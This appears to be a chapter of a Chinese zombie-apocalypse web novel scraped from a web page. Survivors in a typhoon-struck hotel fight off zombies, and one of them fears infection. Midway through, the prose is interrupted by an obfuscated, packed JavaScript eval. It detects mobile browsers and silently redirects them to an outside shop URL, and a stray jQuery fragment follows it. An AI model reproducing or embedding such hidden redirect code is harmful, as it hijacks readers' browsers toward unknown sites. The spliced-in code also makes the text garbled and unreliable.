整个白天,何一都盖着他的毛毯,躺在房间的沙发上。
网络信号还没恢复,手机电量也不太多,现在也只能睡觉了,因此,他晚上失眠了,翻来覆去都睡不着,他没忍住,对躺在床上的陆尧说,“陆尧哥,你睡着了吗?”
陆尧就快睡着了,仍带着睡意回答说,“睡着了。”
“你有听到什么声音吗?”
“没有。”
“可是我听到了,我们要出去看看吗?”
“你可以自己去看。”
“哦,那算了。”
何一枕着双手,看着房间的天花板,还是没什么睡意。
这个沙发好窄啊。
没有空调,房间里好热。
外面到底是什么声音啊,听着让人怪难受的,没有任何配乐,也不像是恐怖电影的声音啊,不会是有哪个缺德的人,半夜三更的,在楼道里播放恐怖音效之类的吧。
噫,好变态。
他翻了个身,用毯子蒙住头,再次企图入睡。
不知过了多久,他都有点迷糊的时候,又听到了那个声音,这次离得近了不少,那声音更清晰了,其实也只是脚步声而已。可是,他为什么在楼道里绕来绕去,还发出带着嘶哑颤音的低吼,难道他其实不是一个醉鬼,而是一个已经神智不清的瘾君子?
好烦。
本来就失眠,还听到这个,更睡不着了。
与此同时,林眠春也没有睡着,她最近睡得不太好,能做一整晚的噩梦。有时梦到姨娘,有时梦到母亲,有时梦到梅香,梅香是照顾她的小丫鬟,家中出事之后,梅香就被卖了,梅香比她还小两岁呢,不知会被卖到哪里,如今过着怎样的日子。
还有姨娘,姨娘从家中偷来的金银细软,大多被用于置办两人的路引,临时购置生活所需花去一些,给姨娘看病买药又花去一些,如果姨娘没把她带走的话,也许此时早已逃出生天,而不是长眠在冰冷的井底……
听到外面的动静,林眠春坐了起来,她穿着酒店的一次性拖鞋,安静地走到门口。
哒,哒,哒……
脚步声没什么规律,低吼声却断断续续,林眠春听了一会,决定继续回去睡觉,临走前,她再次检查了门口的防盗链。
第二天早上,陆尧早早起床,出了房间之后,看到林眠春已经穿好衣服,提着水桶,准备跟着他去隔壁打水。
现在是非常时期,三个女生挤在一个房间里休息,秦嘉月还和这个小姑娘睡在同一张床上,秦嘉月一向浅眠,却从没被她吵醒过,这可不是件容易的事。
陆尧对林眠春本人并无意见,只是对何莹的擅自决定颇有微词,因此,他基本不怎么跟林眠春说话,只是默许她可以跟在自己身后,想打水就去打吧,虽然他打两桶水回来也是顺手的事。
只是今天,那个半路捡来的姑娘,指了指门外,又摇了摇头。
“外面有什么人吗?”
林眠春看着他,没有点头,也没有摇头。
“你也不知道外面的情况?”
林眠春点点头。
他隔着门,听了一会,外面很安静,没什么声音,“好的,我会注意的。”
他打开防盗链,又打开房门,楼道里依旧昏暗,地面较昨天脏了许多,还有一股难闻的味道。
他注意到,在楼道的尽头,有两个蹲坐在地上的人影,不知道在干些什么,在听到他开门的动静之后,它们纷纷回头,摇晃着站起来,往这边走过来。
陆尧紧皱眉头,感觉情况不对,那些人是怎么回事,虽然它们走路不稳,速度也不快,但看到他之后,速度明显加快了,还有一种隐隐的……兴奋?
而且,那股难闻的味道,怎么越来越重了?
楼道里只有一扇窗户,所以也只有一处光源,那两只正在进食的丧尸离光源更近,自然也更明显,在楼道的另一边,一只刚刚转化的丧尸就倒在离陆尧不远的位置,看到陆尧的身影,它沿着墙爬起来,在陆尧专心看向另一边的时候,它朝着陆尧撞了过来,陆尧差点被直接扑倒,他的身体撞在门板上,发出巨大的声响,惊醒了沉睡的众人。
何一率先跑了出来,连衣服都没来得及穿好,被眼前的情形吓得大叫一声,“姐——”,那只丧尸的模样太过骇人,给他的心灵带来了前所未有的冲击。
它左边的嘴角被撕裂开,伤口直通耳侧,左脸的肉已经被吃掉了一部分,左眼、左耳和鼻子都不见了,能看到它嘴里的舌头,再往下看,它的裤角被从下往上撕开,小腿已经被吃得能看见骨头了,血肉和被撕开的裤子粘在一起,黑黑红红的一片,凹凸不平,很是可怖。
它伸手扼向陆尧的脖颈,陆尧情急之下,赶紧用手挡住,这只丧尸,眼睛发灰,目光发直,脸上残留着临死前的痛苦神情,林眠春抄起红色塑料水桶,用力扣在丧尸的头上,何一也赶紧跟上,把丧尸往外面推,丧尸连人带桶摔倒在地,何一自己也差点收不住力摔倒在丧尸的身上。
从远处走来的另外两只丧尸也接近了,林眠春后退了几步,把门口的空间让出来,陆尧赶紧把何一从门外扯回来,而后用力把门关上,对上秦嘉月苍白的脸色,何莹震惊的神情,陆尧低下头,看着自己手上沾着的不明黏液和碎屑,有劫后余生的庆幸,也有隐隐作呕的冲动。
秦嘉月的声音有些发颤,“那、那是什么……”
她的声音不大,但它们还是听到了,而后,门口传来了砸门的声音,砰,砰,砰砰,陆尧把防盗链重新挂好,对着众人摇了摇头,大家都在原地站定。
何一低头看着地面,又抬头看了看姐姐,心里发凉。
他刚刚还在睡觉,匆匆忙忙爬起来,出来的时候都没穿鞋,但他的脚底有伤口。
门外的东西,分明就是丧尸,如果是按照电影中的感染方式的话,那他岂不是……
过了一会,门口的丧尸停止了砸门,陆尧站在门口,仔细听着外面的动静,它们似乎对这里失去了兴趣,朝着楼道尽头的方向走了回去,毕竟那里摆着一块现成的肉。
保险起见,陆尧又在门口等了一会,确定门外没有任何响动之后,他才松了一口气,所有人走回房间里,把房门关好,又检查了窗外,这才开始了低声的谈话。
何莹早就注意到何一的脸色不好看,问道,“何一,你怎么样,没受伤吧?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838351|211553||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
何一哭丧着脸,“姐,我会不会也变成丧尸?”
何莹问,“你被抓伤了吗,过来让我看看。”
“没,我没被抓,就是推了它一把,但是我刚刚出去的时候没穿鞋。”
何莹宽慰他道,“又不是很深的伤口,今天已经结痂了,不一定会感染病毒。”
秦嘉月也说,“对啊,况且丧尸病毒之类的,是电影里的设定吧。”
“那也是‘不一定会’,不是‘一定不会’,对吧。”何一说,“接下来,我还是一个人住吧,我把房间的门锁好,到时候,如果你们听到我的动静不对,你们就丢下我,赶紧离开这里……不行,还是太危险了,万一我自己把门打开,你们把隔壁的房卡给我,我一个人搬到隔壁去住,反正隔壁还有另一个完好的房间。”
陆尧说,“不一定是接触传播,万一是空气传播呢,这样的话,我不是也……”
“那你和我一起搬走。”何一说。
“然后扔下她们三个女生?”
何一不说话了。
陆尧也安静下来,他看着自己的右手,手腕上有一道明显的红痕,但这不是丧尸抓或咬的,是那个不会说话的姑娘用红色塑料水桶扣住丧尸脑袋的时候,被水桶边沿砸的。
之后,何莹拉着何一坐在房间的单人沙发上,她打开手机,无论是社交软件上的消息,还是手机短信,都发不出去,更没有回应。
“糟了,老爸之前跟我说过,最近准备过来这边,他不和防空洞项目前期勘测的专家团队一起出发,但我忘了他哪天要过来了。何一,你呢,你记得吗?”
何一说,“没,他都没跟我说过这件事。”
“如果他到了秋岛,应该会来找我们吧。”
“姐,应该不会吧,航班都停运了啊,他要怎么过来呢,指不定他现在正在家里跟着网上的教程学吹笛子呢。”
何莹说,“……希望是这样吧。”
秦嘉月站在房间的角落里,盯着手机发呆,何一关切地问,“嘉月姐,你联系上你舅舅和舅妈了吗?”
秦嘉月说,“没有,我好担心他们。”
“没事的,嘉月姐,我觉得我们现在更应该担心自己……”何一又补充一句,“当然,特别是我。”
秦嘉月摇摇头,“没事,你想多了,我们不会有事的。”
陆尧拿着一张叠好的纸巾,从一次性纸杯里蘸了水,擦拭着手上的痕迹,他已经扔了四五张纸,但是仍能闻到那股不好的味道,这让他很不舒服。
林眠春站在窗前,看着楼下的情况,酒店门前有一块平整的空地,平时作为停车场来使用,因为台风的关系,那里躺着连根拔起的树,被掀起的大片地砖,垃圾更是数不胜数,寥寥几辆车停在那里,显得没什么生气。
空地后面是主干道,车道中间有护栏,再后面是暂停营业的店铺,连招牌都被吹走了。
丧尸并不多,零零散散的,只有三四只,可能是因为死了更久,也可能是受台风摧折,它们的行动速度更慢,反应也有些迟缓。
等等,好像有人正在接近?
林眠春看着楼下的人影,一眼就认了出来,咦,是他啊。